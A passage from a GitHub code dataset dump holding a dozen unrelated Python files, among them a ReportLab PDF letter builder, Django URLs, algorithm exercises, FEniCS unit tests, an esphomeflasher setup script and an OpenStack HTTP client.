# This is the indentation (change to the value you want)\n text_style.alignment = TA_JUSTIFY\n\n # Add the text to the story\n ptext = 'All good men new paragraph'\n self.story.append(Paragraph(ptext, text_style))\n self.story.append(Spacer(1, 12))\n def add_plan(self):\n styles = getSampleStyleSheet()\n\n # Create a new style for the title\n title_style = styles[\"Normal\"].clone('title_style')\n title_style.fontName = 'Helvetica-Bold'\n title_style.fontSize = 10\n\n # Add the title to the story\n title = 'PLAN:'\n self.story.append(Paragraph(title, title_style))\n # self.story.append(Spacer(1, 0))\n\n # Create a new style for the indented and justified text\n text_style = styles[\"BodyText\"].clone('text_style')\n text_style.leftIndent = 9 # This is the indentation (change to the value you want)\n text_style.alignment = TA_JUSTIFY\n\n # Add the text to the story\n ptext = 'All good men new paragraph'\n self.story.append(Paragraph(ptext, text_style))\n self.story.append(Spacer(1, 12))\n\n def add_salutation(self):\n styles = getSampleStyleSheet()\n styles.add(ParagraphStyle(name='Justify', alignment=TA_JUSTIFY))\n styles.add(ParagraphStyle(name='Center', alignment=1)) # 1 is the code for TA_CENTER\n\n # Define the salutation text\n ptext = 'Thank you very much and we look forward to serving you.'\n self.story.append(Paragraph(ptext, styles[\"Justify\"]))\n self.story.append(Spacer(1, 12))\n\n ptext = 'Sincerely,'\n self.story.append(Paragraph(ptext, styles[\"Normal\"]))\n self.story.append(Spacer(1, 12))\n\n # Add provider name from settings\n ptext = self.settings['provider_name']\n self.story.append(Paragraph(ptext, styles[\"Normal\"]))\n self.story.append(Spacer(1, 12))\n\n # Add business Info from settings\n ptext = f\"{self.settings['business_info']}
{self.settings['business_address']} - {self.settings['city']}, {self.settings['st']} {self.settings['zip']} - {self.settings['phone_number']}\"\n self.story.append(Paragraph(ptext, styles[\"Center\"]))\n self.story.append(Spacer(1, 12))\n\n def build(self):\n doc = SimpleDocTemplate(self.output_file, pagesize=letter, rightMargin=72, leftMargin=72, topMargin=72, bottomMargin=18)\n doc.build(self.story)\n\n# pdf_creator = PDFCreator(\"SAMPLE_doc_reportlab.pdf\", PDFCreator.settings['business_logo'], \"Mike Driscoll\", [\"411 State St.\", \"Marshalltown, IA 50158\"])\n# pdf_creator.create_document()\n# Load the settings\nwith open('settings.json') as file:\n settings = json.load(file)\n\npdf_creator = PDFCreator(\n output_file = \"SAMPLE_doc_reportlab.pdf\",\n logo = settings['business_logo'],\n full_name = \"Mike Driscoll\",\n address_parts = [\"411 State St.\", \"Marshalltown, IA 50158\"],\n settings_file='settings.json'\n)\npdf_creator.create_document()\n","repo_name":"docsturd/QuickNotes2","sub_path":"reversion control/01.1SAMPLE_doc.py","file_name":"01.1SAMPLE_doc.py","file_ext":"py","file_size_in_byte":7643,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"33627834617","text":"# from django.urls import path\nfrom .views import pricetable, edit, delete, add\nfrom django.conf.urls import url\n# create urlpatterns\nurlpatterns = [\n url(r\"^pricelist/\", pricetable, name=\"pricetable\"),\n url(r\"^add/$\", add, name=\"add\"),\n \n # url(r\"^about/\", about, name=\"about\"),\n # url(r\"^success/\", success, name=\"success\"),\n # url(r\"^book_list/\", book_list, name=\"book_list\"),\n url(r'^edit/(?P.*)/$', edit, name=\"edit_price\"),\n url(r'^delete/(?P.*)/$', delete, name=\"delete_price\"),\n]\n","repo_name":"HoangDinhHoi/PythonDjango","sub_path":"pricemenu/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3161766181","text":"# Function to check if a string is a palindrome (case-insensitive)\ndef is_palindrome(s):\n # Convert the string to lowercase for case-insensitive comparison\n s = s.lower()\n \n # Remove non-alphanumeric characters from the string\n s = ''.join(char for char in s if char.isalnum())\n \n # Compare the string with its reverse\n return s == s[::-1]\n\n# Input the number of test cases\nT = int(input())\n\n# Process each test case\nfor _ in range(T):\n strstr = input()\n if is_palindrome(strstr):\n print(\"It is a palindrome\")\n else:\n print(\"It is not a palindrome\")\n","repo_name":"Mr-0racle/e-Yantra-","sub_path":"3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"3141042414","text":"# BOJ 13335\nimport sys\nfrom collections import deque\n\nsi = sys.stdin.readline\n\nn, length, maximum_weight = map(int, si().split())\ntrucks = deque(list(map(int, si().split())))\ncur_weight = 0\ntime = 0\nque = deque([0] * length)\nwhile que:\n cur_weight -= que.popleft()\n if trucks and cur_weight + trucks[0] <= maximum_weight:\n truck = trucks.popleft()\n que.append(truck)\n cur_weight += truck\n elif trucks:\n que.append(0)\n time += 1\n\nprint(time)\n","repo_name":"mrbartrns/algorithm-and-structure","sub_path":"BOJ/simulation_boj/truck.py","file_name":"truck.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6351955534","text":"# threenums.py\n# Input three numbers, print out in order, with total and average.\n\n# Input three numbers numbers\nnum1 = input(\"Please enter the first number: \")\nnum2 = input(\"Please enter the second number: \")\nnum3 = input(\"Please enter the third number: \")\n\n# Convert from string to integer\nnum1 = int(num1)\nnum2 = int(num2)\nnum3 = int(num3)\n\n# Print out in correct order\nprint(\"The correct order of the numbers is: \", end=\"\")\n\nif (num1 <= num2) and (num2 <= num3): # if num1 <= num2 <= num3:\n print(num1, num2, num3)\nelif (num1 <= num3) and (num3 <= num2): # elif num1 <= num3 <= num2:\n print(num1, num3, num2)\nelif (num2 <= num1) and (num1 <= num3): # elif num2 <= num1 <= num3:\n print(num2, num1, num3)\nelif (num2 <= num3) and (num3 <= num1): # elif num2 <= num3 <= num1:\n print(num2, num3, num1)\nelif (num3 <= num1) and (num1 <= num2): # elif num3 <= num1 <= num2:\n print(num3, num1, num2)\nelse:\n print(num3, num2, num1)\n\n# Calculate total and average\ntotal = num1 + num2 + num3\naverage = total / 3\n\nprint(\"Sum of numbers is\", total, \"and the average is\", average)\n","repo_name":"dwjoyce/python-lessons","sub_path":"threenums.py","file_name":"threenums.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"12816953653","text":"from tkinter import *\n\nclass MyButton:\n def __init__(self, root1):\n\n frame = Frame(root1)\n frame.pack()\n\n self.printbtn = Button(frame, text=\"Click\", command=self.printmsg)\n self.printbtn.pack()\n\n self.quitbtn = Button(frame, text=\"Exit\", command=frame.quit)\n self.quitbtn.pack()\n\n def printmsg(self):\n print(\"Welcome\")\n\nroot = Tk()\n\ns = MyButton(root)\n\nroot.mainloop()","repo_name":"sadiqulislam/GUI-Tkinter","sub_path":"UserInterfaceUsingClass.py","file_name":"UserInterfaceUsingClass.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24886348680","text":"\nimport argparse\nfrom argparse import ArgumentDefaultsHelpFormatter\nfrom operator import attrgetter\n\n\nclass SortedMenu(ArgumentDefaultsHelpFormatter):\n def add_arguments(self, actions):\n actions = sorted(actions, key=attrgetter('option_strings'))\n super(SortedMenu, self).add_arguments(actions)\n\n\ndef parse_args(args):\n \"\"\" Util function to parse command-line arguments \"\"\"\n parser = argparse.ArgumentParser(\n formatter_class=SortedMenu,\n description='COVID-19 ngram timeseries \\\n Copyright (c) 2020 The Computational Story Lab. Licensed under the MIT License;'\n )\n\n # optional subparsers\n subparsers = parser.add_subparsers(help='Arguments for specific action.', dest='dtype')\n subparsers.required = False\n\n ff = subparsers.add_parser(\n 'figures',\n help='update figures'\n )\n ff.add_argument(\n 'jhu',\n help='absolute path to the COVID-19 data repository by Johns Hopkins University'\n )\n\n return parser.parse_args(args)\n","repo_name":"compstorylab/covid19ngrams","sub_path":"src/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23393842597","text":"# Now, that the dividing by 3 clause is removed, `worry_level` grows really fast.and\n# To counter this we keep the worry_level capped using remainders.\n#\n# Since we only care about the divisibility of worry_level by the test_divisor for each monkey\n# we can get test_divisor_of_monkey_1 * test_divisor_of_monkey_2 * ... and keep the worry_level\n# capped by that number.\n#\n# This strategy is to preserve the divisibility information for each monkey's test_divisor\n\n\nfrom typing import List\n\n\nclass Item:\n def __init__(self, worry_level: int):\n self.worry_level = worry_level\n\n def __repr__(self):\n return f\"Item({self.worry_level})\"\n\n\nclass Monkey:\n MONKEYS = []\n\n def __init__(\n self,\n items: List[Item],\n operation: str,\n test_divisor: str,\n true_target: int,\n false_target: int,\n ):\n self.items = items\n self.test_divisor = test_divisor\n self.operation = operation\n self.true_target = true_target\n self.false_target = false_target\n self.items_inspected = 0\n\n @classmethod\n def create(\n cls,\n items: List[Item],\n operation: str,\n test_divisor: int,\n true_target: int,\n false_target: int,\n ):\n monkey = Monkey(items, operation, test_divisor, true_target, false_target)\n cls.MONKEYS.append(monkey)\n\n def inspect(self, max_worry: int):\n # Need it because self.items is mutated when calling inspect\n items_copy = self.items[:]\n for item in items_copy:\n self.inspect_item(item, max_worry)\n\n def inspect_item(self, item: Item, max_worry: int):\n item.worry_level = (\n eval(self.operation.replace(\"old\", str(item.worry_level))) % max_worry\n )\n\n if (item.worry_level % self.test_divisor) == 0:\n self.throw_to(item, self.true_target)\n else:\n self.throw_to(item, self.false_target)\n self.items_inspected += 1\n\n def throw_to(self, item: Item, target: int):\n Monkey.MONKEYS[target].items.append(item)\n self.items.remove(item)\n\n @classmethod\n def run_rounds(cls, num_rounds: int, max_worry: int) -> None:\n for i in range(num_rounds):\n for monkey in cls.MONKEYS:\n monkey.inspect(max_worry)\n\n def __repr__(self):\n return f\"Monkey<{self.items}, inspected={self.items_inspected}>\"\n\n\ndef parse_items_line(items_line: str) -> List[Item]:\n items_part = items_line.split(\":\")[1]\n items = items_part.split(\",\")\n items_as_int = [int(i.strip()) for i in items]\n return [Item(i) for i in items_as_int]\n\n\ndef parse_operation(operation_line: str) -> str:\n return operation_line.split(\"=\")[1].strip()\n\n\ndef parse_test_divisor(divisor_line: str) -> int:\n return int(divisor_line.split(\"divisible by\")[1].strip())\n\n\ndef parse_target_monkey_index(divisor_line: str) -> int:\n return int(divisor_line.split(\"throw to monkey\")[1].strip())\n\n\nwith open(\"input.txt\") as fd:\n monkeys_data = [chunk.split(\"\\n\") for chunk in fd.read().split(\"\\n\\n\")]\n\nfor lines in monkeys_data:\n items = parse_items_line(lines[1])\n operation = parse_operation(lines[2])\n test_divisor = parse_test_divisor(lines[3])\n true_target_monkey_index = parse_target_monkey_index(lines[4])\n false_target_monkey_index = parse_target_monkey_index(lines[5])\n\n Monkey.create(\n items=items,\n operation=operation,\n test_divisor=test_divisor,\n true_target=true_target_monkey_index,\n false_target=false_target_monkey_index,\n )\n\nmax_worry = 1\nfor monkey in Monkey.MONKEYS:\n max_worry *= monkey.test_divisor\n\nMonkey.run_rounds(10000, max_worry)\nprint(Monkey.MONKEYS)\ninspections = [monkey.items_inspected for monkey in Monkey.MONKEYS]\ntop = max(inspections)\ninspections.remove(top)\nsecond_top = max(inspections)\nprint(\"Monkey Business: \", top * second_top)\n","repo_name":"hanif-ali/advent-of-code","sub_path":"day11/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":3912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31916297840","text":"import unittest\r\nimport numpy as np\r\nimport os,sys\r\n\r\nsrc_path = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))))\r\nsys.path.append(src_path)\r\n\r\nimport nqcpfem.band_model\r\n\r\nimport logging\r\nLOG=logging.getLogger(__name__)\r\nLOG.setLevel(logging.DEBUG)\r\nLOG\r\n\r\nclass TestFEniCsModel(unittest.TestCase):\r\n def setUp(self) -> None:\r\n from petsc4py import PETSc\r\n import os, sys\r\n print(os.environ)\r\n print(sys.executable)\r\n print((np.dtype(PETSc.ScalarType)))\r\n self.assertTrue(np.dtype(PETSc.ScalarType).kind == 'c',\r\n msg=f'Python environment is configured incorrectly: PETSc hat bo be built with complex numbers: {np.dtype(PETSc.ScalarType)}')\r\n from nqcpfem.band_model import FreeBoson\r\n from nqcpfem.envelope_function import RectangleDomain\r\n from nqcpfem.fenics import FEniCsModel\r\n from nqcpfem import _m_e, _hbar\r\n self.mass = _m_e\r\n L = 1e-6\r\n self.Lx = L\r\n self.Ly = L\r\n self.Lz = L\r\n self.band_model = FreeBoson(self.mass, 2)\r\n from nqcpfem.band_model import FreeFermion\r\n self.band_model = FreeFermion(self.mass, 2)\r\n self.domain = RectangleDomain(self.Lx, self.Ly, self.Lz)\r\n self.resolution = 150\r\n self.domain.resolution = [self.resolution, self.resolution]\r\n self.function_class = ('CG', 1)\r\n self.model = FEniCsModel(self.band_model, self.domain, 0, self.function_class)\r\n import sympy\r\n from nqcpfem import envelope_function\r\n x, y = sympy.symbols('x,y')\r\n self.omega = 1e11\r\n omega = sympy.symbols('omega')\r\n V = 0.5 * omega ** 2 * _m_e * (x ** 2 + y ** 2)\r\n\r\n self.model.band_model.add_potential(V,{omega:self.omega})\r\n\r\n self.box_domain = RectangleDomain(self.Lx, self.Ly, self.Lz)\r\n self.box_domain.resolution = [75, 75]\r\n self.box_model = FEniCsModel(self.band_model, self.box_domain, 0, self.function_class)\r\n\r\n def test_assemble_array(self):\r\n # testing harmonic oscillator modes\r\n from nqcpfem import _m_e,_hbar\r\n import numpy as np\r\n #self.model.boundary_condition=12345e10\r\n A= self.model.assemble_array()\r\n print(A.shape)\r\n import dolfinx\r\n import scipy.sparse as sp\r\n\r\n from scipy.sparse.linalg import eigsh\r\n N= 25\r\n S = self.model.make_S_array()\r\n print('solving SHO problem...')\r\n evals,evecs = eigsh(A,M=S,k=N,sigma=-1000,which='LM')\r\n topology, cell_types, x = dolfinx.plot.create_vtk_mesh(self.model.function_space())\r\n\r\n N_found = evals/(_hbar*self.omega)*self.model.energy_scale()\r\n print('SHO_modes:\\n',N_found)\r\n \"\"\"#PLOTTING\r\n for i in range(N):\r\n if i in [1,2]:\r\n vec = evecs[:,i]\r\n p = pyvista.Plotter()\r\n grid = pyvista.UnstructuredGrid(topology, cell_types, x)\r\n grid[\"u\"] = np.abs(vec)/np.max(np.abs(vec))\r\n warped = grid.warp_by_scalar(\"u\")\r\n p.add_mesh(warped, scalars='u')\r\n p.show()\r\n \"\"\"\r\n np.testing.assert_array_less(N_found,100) #check that we actually get small eigenvalues\r\n np.testing.assert_allclose(N_found,N_found.astype(np.int32),rtol=1e-2,atol=5.2e-1)\r\n\r\n facit_list = []\r\n next_n = iter(range(1,N+1))\r\n while len(facit_list)<2*N: # we have to make a lot to assure that we get the smallest ones\r\n new_n = next(next_n)\r\n facit_list.extend([new_n]*(2*new_n))\r\n \r\n facit_list = np.sort(facit_list)\r\n np.testing.assert_allclose(np.sort(N_found),facit_list[:N],atol=5.2e-1,rtol=1e-2)\r\n \r\n import sympy\r\n self.box_model.band_model.parameter_dict[sympy.symbols('omega')] = 0\r\n A_box = self.box_model.assemble_array()\r\n S_box = self.box_model.make_S_array()\r\n\r\n\r\n print('Solving box problem...')\r\n box_solution = eigsh(A_box,M=S_box,k=N,sigma=-2000)\r\n N_box_found = box_solution[0]/(_hbar**2*np.pi**2/(2*self.mass*self.Lx**2))*self.box_model.energy_scale()\r\n\r\n print('box_modes:\\n',N_box_found)\r\n N_box_found[N_box_found<0.5] = 0\r\n np.testing.assert_array_less(N_found,100) #check that we actually get small eigenvalues\r\n np.testing.assert_allclose(N_box_found,N_box_found.astype(np.int32),rtol=1e-2,atol=1e-3)\r\n\r\n facit = []\r\n next_n = iter(range(2,N+2)) # start from 2 since that is ground state in both x and y\r\n while len(facit)<2*N:\r\n n = next(next_n)\r\n # find all different partitions\r\n partitions = set((i,n-i) for i in range(1,n)) # minimum of each element i 1\r\n \r\n facit.extend(p[0]**2+p[1]**2 for p in partitions for _ in range(2)) # add everything twice because of spind degeneracy\r\n \r\n facit = np.sort(facit)\r\n np.testing.assert_allclose(np.sort(N_box_found),facit[:N],atol=5.2e-1,rtol=1e-2)\r\n \r\n def test_positional_rep(self):\r\n import dolfinx\r\n from nqcpfem.band_model import FreeFermion\r\n band_model = FreeFermion(1,2)\r\n from nqcpfem.fenics import FEniCsModel\r\n evf_model = FEniCsModel(band_model,self.domain,0)\r\n du = dolfinx.fem.Function(evf_model.function_space())\r\n array=du.vector.getArray()\r\n\r\n mock_vector = np.linspace(0,1,array.size).reshape(array.shape)\r\n mock_vector = mock_vector.reshape((int(mock_vector.shape[-1]/2),2)).transpose([1,0])\r\n positional_rep,x = evf_model.positional_rep(mock_vector)\r\n\r\n np.testing.assert_array_equal(x,self.model.mesh().geometry.x*self.model.length_scale())\r\n np.testing.assert_array_equal(mock_vector,positional_rep)\r\n\r\n def test_eigensolutions_to_eigentensors(self):\r\n import dolfinx\r\n du = dolfinx.fem.Function(self.model.function_space())\r\n array=du.vector.getArray()\r\n\r\n mock_vector = np.linspace(0,1,array.size).reshape(array.shape)\r\n #mock_vector = mock_vector.reshape((mock_vector.shape[-1],1,1)).transpose([1,2,0])\r\n mock_set = np.stack([mock_vector,mock_vector],axis=1)\r\n result = self.model.eigensolutions_to_eigentensors(mock_set)\r\n\r\n facit_vector = mock_vector.reshape((int(mock_vector.shape[-1]/2),2)).transpose([1,0])\r\n facit_vectors = np.stack([facit_vector,facit_vector],axis=0)\r\n np.testing.assert_array_equal(result,facit_vectors)\r\n\r\n result = self.model.eigensolutions_to_eigentensors(mock_vector)\r\n np.testing.assert_array_equal(result,facit_vector)\r\n\r\n def test_mesh(self):\r\n xvals = self.model.mesh().geometry.x\r\n max_coords = np.max(xvals,axis=0)\r\n min_coords = np.min(xvals,axis=0)\r\n np.testing.assert_array_almost_equal(max_coords,np.array([0.5,0.5,0]))\r\n np.testing.assert_array_almost_equal(min_coords,np.array([-0.5,-0.5,0]))\r\n\r\n def test_redefining_constants(self):\r\n \r\n \r\n # check that after building an Array, I can change the mass in the bilinear form without having to reassemble it\r\n self.model.independent_vars['domain'].resolution=[10,10]\r\n old_A = self.model.assemble_array()\r\n S =self.model.make_S_array()\r\n import sympy\r\n import copy \r\n # check that altering the constants dict alters the resulting array but not build another ufl_form.\r\n old_form = copy.copy(self.model._saved_ufl_form)\r\n self.model.band_model.independent_vars['constants'][sympy.symbols(r'\\hbar')] *= 2\r\n self.assertIs(self.model.ufl_form(),old_form.value)\r\n self.assertEqual(self.model._saved_ufl_form._modified_time_,old_form._modified_time_)\r\n #del self.model._saved_assemble_array \r\n new_A = self.model.assemble_array()\r\n import numpy as np\r\n np.testing.assert_allclose(old_A.todense(),4*new_A.todense()-3*self.model.infinite_boundary_vec().todense())\r\n \r\n self.model.band_model.independent_vars['parameter_dict'][sympy.symbols('omega')] = 0\r\n old_A = self.model.assemble_array()\r\n self.assertIs(self.model.ufl_form(),old_form.value)\r\n self.assertEqual(self.model._saved_ufl_form._modified_time_,old_form._modified_time_)\r\n \r\n\r\n self.model.band_model.independent_vars['parameter_dict'][sympy.symbols('m')] *= 2 \r\n new_A = self.model.assemble_array()\r\n self.assertIs(self.model.ufl_form(),old_form.value)\r\n self.assertEqual(self.model._saved_ufl_form._modified_time_,old_form._modified_time_)\r\n \r\n def test_projcet_operator(self):\r\n # assert that identity operator matches S operator\r\n import sympy\r\n operator = sympy.Array([[1,0],[0,1]])\r\n O = self.model.project_operator(operator)\r\n S = self.model.make_S_array()\r\n diff = O-S\r\n \r\n max = diff.max()\r\n min = diff.min()\r\n np.testing.assert_allclose([max,min],0) \r\n \r\n \r\n # Chekc that X**2 operator has the same sparsity pattern as the S matrix\r\n X = sympy.symbols('x',commutative=False)\r\n operator = operator*X**2 \r\n O = self.model.project_operator(operator)\r\n \r\n O_is = np.split(O.indices,O.indptr)[1:-1]\r\n \r\n S_is = np.split(S.indices,S.indptr)[1:-1]\r\n \r\n for i,(o_row,s_row) in enumerate(zip(O_is,S_is)):\r\n np.testing.assert_array_equal(o_row,s_row,err_msg=f'row {i} did not have the same sparsity pattern')\r\n \r\n \r\n # test that it works just like assemble_array\r\n from nqcpfem.symbolic import Kx\r\n from nqcpfem import _hbar\r\n self.setUp()\r\n self.model.domain.resolution = [100,100]\r\n operator = self.model.band_model.post_processed_array().subs({'m':self.mass,'omega':0,'\\hbar':_hbar})\r\n O = self.model.project_operator(operator)\r\n S = self.model.make_S_array()\r\n \r\n # assert that the array gives particle in a box eigenmodes:\r\n O = O +self.model.infinite_boundary_vec()\r\n factor = (_hbar**2*np.pi**2/(2*self.mass*self.Lx**2))\r\n \r\n import scipy.sparse as sparse\r\n eigvals,eigvecs = sparse.linalg.eigsh(O,k=10,M=S,sigma=-1000)\r\n nsq = eigvals/factor\r\n np.testing.assert_allclose(nsq,np.round(nsq))\r\n \r\n \r\n def test_make_observable(self):\r\n # make poisson equatio and\r\n from nqcpfem.symbolic import Kx,Ky\r\n from nqcpfem.band_model import BandModel\r\n from nqcpfem import fenics\r\n from nqcpfem.solvers import PETScSolver\r\n import sympy\r\n poisson_spinor = sympy.Array([[Kx**2+Ky**2+np.pi**2,0],[0,Kx**2+Ky**2-np.pi**2]])\r\n bm = BandModel(poisson_spinor,2)\r\n \r\n # use domain from setup\r\n model = fenics.FEniCsModel(bm,self.domain,0,('CG',1))\r\n \r\n # solve the model and obtain eigenstates in the usual way.\r\n solver = PETScSolver(which='SM',sigma=0,k=10)\r\n \r\n eigvals,eigvecs = solver.solve(model)\r\n \r\n # take lowest eigenstates and compute the MEL of sigma_z operator\r\n \r\n sigma_z = sympy.Array([[1,0],[0,-1]])\r\n Oz = model.construct_observable(sigma_z)\r\n Oz_proj = np.array([Oz.mel(ev1,ev2) for ev1 in eigvecs[:2] for ev2 in eigvecs[:2]][::-1]).reshape((2,2)) #reversed order because evecs are sorted by eigenvalue (low to high)\r\n \r\n \r\n np.testing.assert_allclose(Oz_proj,np.array(sigma_z).astype(complex),atol=1e-3,rtol=1e-3)\r\n \r\n \r\n # check that the MEL of O work as intended.\r\n \r\n Ox = model.construct_observable(sympy.Array([[0,1],[1,0]]))\r\n flipped = Ox.apply(eigvecs[0])\r\n flipped = flipped/np.linalg.norm(flipped)\r\n \r\n ev0 = eigvecs[0]/np.linalg.norm(eigvecs[0])\r\n ev1 = eigvecs[1]/np.linalg.norm(eigvecs[1])\r\n # flipped must be orthogonal to eigvecs[0]\r\n np.testing.assert_allclose(np.einsum('ix,ix',flipped.conj(),ev0),0,atol=1e-3)\r\n np.testing.assert_allclose(np.abs(np.einsum('ix,ix',flipped.conj(),ev1)),1,rtol=1e-3)\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\nif __name__ == '__main__':\r\n unittest.main()\r\n","repo_name":"oschwarze/NQCP_FEM","sub_path":"nqcpfem/tests/unit/test_fenics.py","file_name":"test_fenics.py","file_ext":"py","file_size_in_byte":12335,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"24164745552","text":"#!/usr/bin/env python\n\"\"\"esphomeflasher setup script.\"\"\"\nfrom setuptools import setup, find_packages\n\nfrom esphomeflasher import const\n\nPROJECT_NAME = 'esphomeflasher'\nPROJECT_PACKAGE_NAME = 'esphomeflasher'\nPROJECT_LICENSE = 'MIT'\nPROJECT_AUTHOR = 'ESPHome'\nPROJECT_COPYRIGHT = '2019, ESPHome'\nPROJECT_URL = 'https://esphome.io/guides/faq.html'\nPROJECT_EMAIL = 'contact@esphome.io'\n\nPROJECT_GITHUB_USERNAME = 'esphome'\nPROJECT_GITHUB_REPOSITORY = 'esphomeflasher'\n\nPYPI_URL = 'https://pypi.python.org/pypi/{}'.format(PROJECT_PACKAGE_NAME)\nGITHUB_PATH = '{}/{}'.format(PROJECT_GITHUB_USERNAME, PROJECT_GITHUB_REPOSITORY)\nGITHUB_URL = 'https://github.com/{}'.format(GITHUB_PATH)\n\nDOWNLOAD_URL = '{}/archive/{}.zip'.format(GITHUB_URL, const.__version__)\n\nREQUIRES = [\n 'wxpython>=4.0,<5.0',\n 'esptool==2.8',\n 'requests>=2.0,<3',\n]\n\nsetup(\n name=PROJECT_PACKAGE_NAME,\n version=const.__version__,\n license=PROJECT_LICENSE,\n url=GITHUB_URL,\n download_url=DOWNLOAD_URL,\n author=PROJECT_AUTHOR,\n author_email=PROJECT_EMAIL,\n description=\"ESP8266/ESP32 firmware flasher for esphomelib\",\n include_package_data=True,\n zip_safe=False,\n platforms='any',\n test_suite='tests',\n python_requires='>=3.5',\n install_requires=REQUIRES,\n keywords=['home', 'automation'],\n entry_points={\n 'console_scripts': [\n 'esphomeflasher = esphomeflasher.__main__:main'\n ]\n },\n packages=find_packages()\n)\n","repo_name":"omor-fatok/esphome-flasher","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"75145987131","text":"import time\n\nfrom oslo_log import log as logging\n\nfrom solumclient.common.apiclient import client as api_client\nfrom solumclient.common import exc\nfrom solumclient import config\n\n\n_logger = logging.getLogger(__name__)\n\n\nclass HTTPClient(api_client.HTTPClient):\n def request(self, method, url, **kwargs):\n \"\"\"Send an http request with the specified characteristics.\n\n Wrapper around `requests.Session.request` to handle tasks such as\n setting headers, JSON encoding/decoding, and error handling.\n\n :param method: method of HTTP request\n :param url: URL of HTTP request\n :param kwargs: any other parameter that can be passed to\n' requests.Session.request (such as `headers`) or `json`\n that will be encoded as JSON and used as `data` argument\n \"\"\"\n\n kwargs.setdefault(\"headers\", kwargs.get(\"headers\", {}))\n kwargs[\"headers\"][\"User-Agent\"] = self.user_agent\n kwargs[\"headers\"][\"X-User-ID\"] = config.username\n kwargs[\"headers\"][\"X-Password\"] = config.password\n kwargs[\"headers\"][\"X-Project\"] = config.tenant\n if self.original_ip:\n kwargs[\"headers\"][\"Forwarded\"] = \"for=%s;by=%s\" % (\n self.original_ip, self.user_agent)\n if self.timeout is not None:\n kwargs.setdefault(\"timeout\", self.timeout)\n kwargs.setdefault(\"verify\", self.verify)\n if self.cert is not None:\n kwargs.setdefault(\"cert\", self.cert)\n self.serialize(kwargs)\n\n self._http_log_req(method, url, kwargs)\n if self.timings:\n start_time = time.time()\n resp = self.http.request(method, url, **kwargs)\n if self.timings:\n self.times.append((\"%s %s\" % (method, url),\n start_time, time.time()))\n self._http_log_resp(resp)\n\n if resp.status_code >= 400:\n _logger.debug(\n \"Request returned failure status: %s\",\n resp.status_code)\n raise exc.from_response(resp, method, url)\n\n return resp\n","repo_name":"openstack/python-solumclient","sub_path":"solumclient/common/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"78"} +{"seq_id":"35211483415","text":"# 14503 <로봇 청소기>\n\nimport sys\n\ninput = lambda: sys.stdin.readline()\n\nmove = (-1, 0, 1, 0), (0, 1, 0, -1) # 북->동->남->서\n\ndef solution(r,c,d):\n \n count = 0\n while 1:\n i=0 # 방향을 전부 돌았는지 확인\n if board[r][c] == 0:\n board[r][c] = 2 #청소 끝\n count+=1\n elif board[r][c] == 1:\n break\n condition = False\n for i in range(0, 4):\n # 로봇의 방향을 왼쪽으로 바꿈\n if d==0:\n d = 3\n else:\n d = d-1\n\n if 0<=r+move[0][d]int:\n hash_of_string = 0\n for string_index in range(len(string_to_hash) - 1, -1, -1):\n hash_of_string = (hash_of_string * self.polynomial_variable[distinct_hash_function] \\\n + ord(string_to_hash[string_index])) % self.prime\n return hash_of_string\n\n def get_highest_degree_variable(self, degree: int, distinct_hash_function)->int:\n highest_degree_variable = 1\n for _ in range(degree):\n highest_degree_variable = (highest_degree_variable * self.polynomial_variable[distinct_hash_function]) % self.prime\n return highest_degree_variable % self.prime\n #return self.polynomial_variable**degree\n\n def precompute_hashes(self) -> List[List[int]]:\n string_at_text_tail = self.text[-self.pattern_length:]\n\n for distinct_hash_function in range(self.different_hash_functions):\n self.precomputed_hashes[self.index_of_start_of_last_string_in_text][distinct_hash_function] = self.get_polyhash(string_at_text_tail, distinct_hash_function)\n\n #highest_degree_variable = self.get_highest_degree_variable(self.pattern_length) % self.prime\n highest_degree_variable = self.get_highest_degree_variable(self.pattern_length, distinct_hash_function)\n\n for start_of_string_in_text in range(self.index_of_start_of_last_string_in_text - 1, -1, -1):\n self.precomputed_hashes[start_of_string_in_text][distinct_hash_function] = \\\n (\n self.polynomial_variable[distinct_hash_function] * self.precomputed_hashes[start_of_string_in_text + 1][distinct_hash_function] \\\n + ord(self.text[start_of_string_in_text]) \\\n - highest_degree_variable * ord(self.text[start_of_string_in_text + self.pattern_length]) \\\n + self.prime\n ) % self.prime\n return self.precomputed_hashes\n\ndef read_input():\n #return (input().rstrip(), input().rstrip())\n return (input().strip(), input().strip())\n\ndef print_occurrences(output):\n print(' '.join(map(str, output)))\n\ndef get_occurrences(pattern, text):\n\n if text == '' or pattern == '':\n return []\n\n polyhash = PolynomialHash(text, len(pattern))\n\n pattern_hash = [polyhash.get_polyhash(pattern, distinct_hash_function) for distinct_hash_function in range(polyhash.different_hash_functions)]\n #print(f\"pattern_hash {pattern_hash}\")\n text_hashes = polyhash.precompute_hashes()\n\n #print(text_hashes)\n\n pattern_positions_in_text = []\n\n for start_string_index_of_text_hashes, distinct_hash_functions_text_hashes in enumerate(text_hashes):\n #print(f\"index_of_text_hashes 